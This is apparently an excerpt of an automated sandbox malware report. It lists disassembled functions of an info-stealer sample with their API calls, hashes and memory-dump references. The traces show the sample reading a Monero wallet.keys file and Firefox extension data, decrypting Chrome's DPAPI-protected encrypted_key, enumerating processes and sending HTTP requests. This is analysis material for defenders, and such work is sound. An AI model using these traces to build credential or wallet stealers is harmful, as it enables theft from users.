Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9955ecd5446ef4e89343ead8fcc5b39d02861ae69f39ba7931e243c34066f6ee
Instruction ID: d33cc489acf2af98261a3e2d5c56b9f2190b004d907bdf408093fc209b0f88f5
Opcode Fuzzy Hash: 9955ecd5446ef4e89343ead8fcc5b39d02861ae69f39ba7931e243c34066f6ee
Instruction Fuzzy Hash: F481F172E101149BCB44FBA4DC56EEE7338BF95300F508529F51BA6092EF386A09CB67

Function 0006F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000699EC
Part of subcall function 000699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00069A11
Part of subcall function 000699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00069A31
Part of subcall function 000699C0: ReadFile.KERNEL32(000000FF,?,00000000,0006148F,00000000), ref: 00069A5A
Part of subcall function 000699C0: LocalFree.KERNEL32(0006148F), ref: 00069A90
Part of subcall function 000699C0: CloseHandle.KERNEL32(000000FF), ref: 00069A9A

Part of subcall function 00078E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00078E52

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00081580,00080D92), ref: 0006F54C
lstrlen.KERNEL32(00000000), ref: 0006F56B

Strings

moz-extension+++, xrefs: 0006F5AD
^userContextId=4294967295, xrefs: 0006F59C

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 1db8683a4a8d8279d3f8ce577d884fbdae254e866618e1f1bc4d6d88764e443c
Instruction ID: 107e717f4961ab7c074644c9b5aef2699cb2e9bdcaa15461418696a06fd238ae
Opcode Fuzzy Hash: 1db8683a4a8d8279d3f8ce577d884fbdae254e866618e1f1bc4d6d88764e443c
Instruction Fuzzy Hash: 3B510571E101089ADB44FBB4DC56DEE7379AF95300F40C528F51AA7192EF386A0DCBA6

Function 00069CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 000699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000699EC
Part of subcall function 000699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00069A11
Part of subcall function 000699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00069A31
Part of subcall function 000699C0: ReadFile.KERNEL32(000000FF,?,00000000,0006148F,00000000), ref: 00069A5A
Part of subcall function 000699C0: LocalFree.KERNEL32(0006148F), ref: 00069A90
Part of subcall function 000699C0: CloseHandle.KERNEL32(000000FF), ref: 00069A9A

Part of subcall function 00078E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00078E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00069D39

Part of subcall function 00069AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00064EEE,00000000,00000000), ref: 00069AEF
Part of subcall function 00069AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00064EEE,00000000,?), ref: 00069B01
Part of subcall function 00069AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00064EEE,00000000,00000000), ref: 00069B2A
Part of subcall function 00069AC0: LocalFree.KERNEL32(?,?,?,?,00064EEE,00000000,?), ref: 00069B3F

Part of subcall function 00069B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00069B84
Part of subcall function 00069B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00069BA3
Part of subcall function 00069B60: LocalFree.KERNEL32(?), ref: 00069BD3

Strings

, xrefs: 00069DC1
DPAPI, xrefs: 00069D89
"encrypted_key":", xrefs: 00069D30

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: c8788151d11ae72aaf9a216490b852924e22876b1fa1cafd406bf30c56186727
Instruction ID: e5fbeed81af0f495e57af0a75f5a39ce5f98e52592e69bc7351fc072fb55e20b
Opcode Fuzzy Hash: c8788151d11ae72aaf9a216490b852924e22876b1fa1cafd406bf30c56186727
Instruction Fuzzy Hash: A83132B5D10109ABCF04DFE4DC85AEFB7BDBF48304F144529E905A7242EB349A15CBA5

Function 00078680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,000805B7), ref: 000786CA
Process32First.KERNEL32(?,00000128), ref: 000786DE
Process32Next.KERNEL32(?,00000128), ref: 000786F3

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

CloseHandle.KERNEL32(?), ref: 00078761

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: ed3feb25f3bafd3afcd226ff04f1f0776e74b16a306daf3a0771a8a27076932f
Instruction ID: 2dbfe8260f0d6834d4bbb325b0d33de95e8ab96a990b45b2bda1061a0d45ee6c
Opcode Fuzzy Hash: ed3feb25f3bafd3afcd226ff04f1f0776e74b16a306daf3a0771a8a27076932f
Instruction Fuzzy Hash: 4B313E71E01118ABCB64DB54DC45FEEB778EF46700F108199A10EA6191DF386A45CFA6

Function 00076AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00D78930,?,0008110C,?,00000000,?,00081110,?,00000000,00080AEF), ref: 00076ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00076AE8
CloseHandle.KERNEL32(00000000), ref: 00076AF9
Sleep.KERNEL32(00001770), ref: 00076B04
CloseHandle.KERNEL32(?,00000000,?,00D78930,?,0008110C,?,00000000,?,00081110,?,00000000,00080AEF), ref: 00076B1A
ExitProcess.KERNEL32 ref: 00076B22

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: ec3345d85f4905c0ba0a7c874c8bdc71444358432266e859c049663e3a6dfd53
Instruction ID: 9c9d45210c518dc48fbab64a8ed754a6bfdcdfa6ac5fa0f707f657184262ff58
Opcode Fuzzy Hash: ec3345d85f4905c0ba0a7c874c8bdc71444358432266e859c049663e3a6dfd53
Instruction Fuzzy Hash: D0F03A70E40609AFEB50ABA0AC1ABBEBA74EF05701F10C515B50BA1182CBB95540DA6B

Function 000647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00064839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00064849

Strings

<, xrefs: 000647C9

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: f70fde65a7f55299173d6642891eab51eba5027364a0ad4cb70d822930050550
Instruction ID: 6c5608413a69bf45560be0472c514e4aef85553677df4049c6c8366a4e3368fa
Opcode Fuzzy Hash: f70fde65a7f55299173d6642891eab51eba5027364a0ad4cb70d822930050550
Instruction Fuzzy Hash: 9A215EB1D00209ABDF10DFA4EC49ADE7B74FF45320F108625F925A7291EB706A09CB81

Function 000751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 00066280: InternetOpenA.WININET(00080DFE,00000001,00000000,00000000,00000000), ref: 000662E1
Part of subcall function 00066280: StrCmpCA.SHLWAPI(?,00D7E3F0), ref: 00066303
Part of subcall function 00066280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00066335
Part of subcall function 00066280: HttpOpenRequestA.WININET(00000000,GET,?,00D7DB90,00000000,00000000,00400100,00000000), ref: 00066385
Part of subcall function 00066280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000663BF
Part of subcall function 00066280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000663D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00075228

Strings

ERROR, xrefs: 00075273
ERROR, xrefs: 0007521A

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 4973de95959d97578c39a03ae36d40b1d1cbe562258b43efdc592eee7fd365ae
Instruction ID: 4482814ecd61c3989c4b1df35633bf1417f4fe0dac80647d3e6a533821079b38
Opcode Fuzzy Hash: 4973de95959d97578c39a03ae36d40b1d1cbe562258b43efdc592eee7fd365ae
Instruction Fuzzy Hash: 1E110070E10048A6CB14FB64DD529ED7339AF91300F40C164F91E4A593EF786B0AC796

Function 00074F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00078DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00078E0B

lstrcat.KERNEL32(?,00000000), ref: 00074F7A
lstrcat.KERNEL32(?,00081070), ref: 00074F97
lstrcat.KERNEL32(?,00D789F0), ref: 00074FAB
lstrcat.KERNEL32(?,00081074), ref: 00074FBD

Part of subcall function 00074910: wsprintfA.USER32 ref: 0007492C
Part of subcall function 00074910: FindFirstFileA.KERNEL32(?,?), ref: 00074943

Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,00080FDC), ref: 00074971
Part of subcall function 00074910: StrCmpCA.SHLWAPI(?,00080FE0), ref: 00074987
Part of subcall function 00074910: FindNextFileA.KERNEL32(000000FF,?), ref: 00074B7D
Part of subcall function 00074910: FindClose.KERNEL32(000000FF), ref: 00074B92

Memory Dump Source

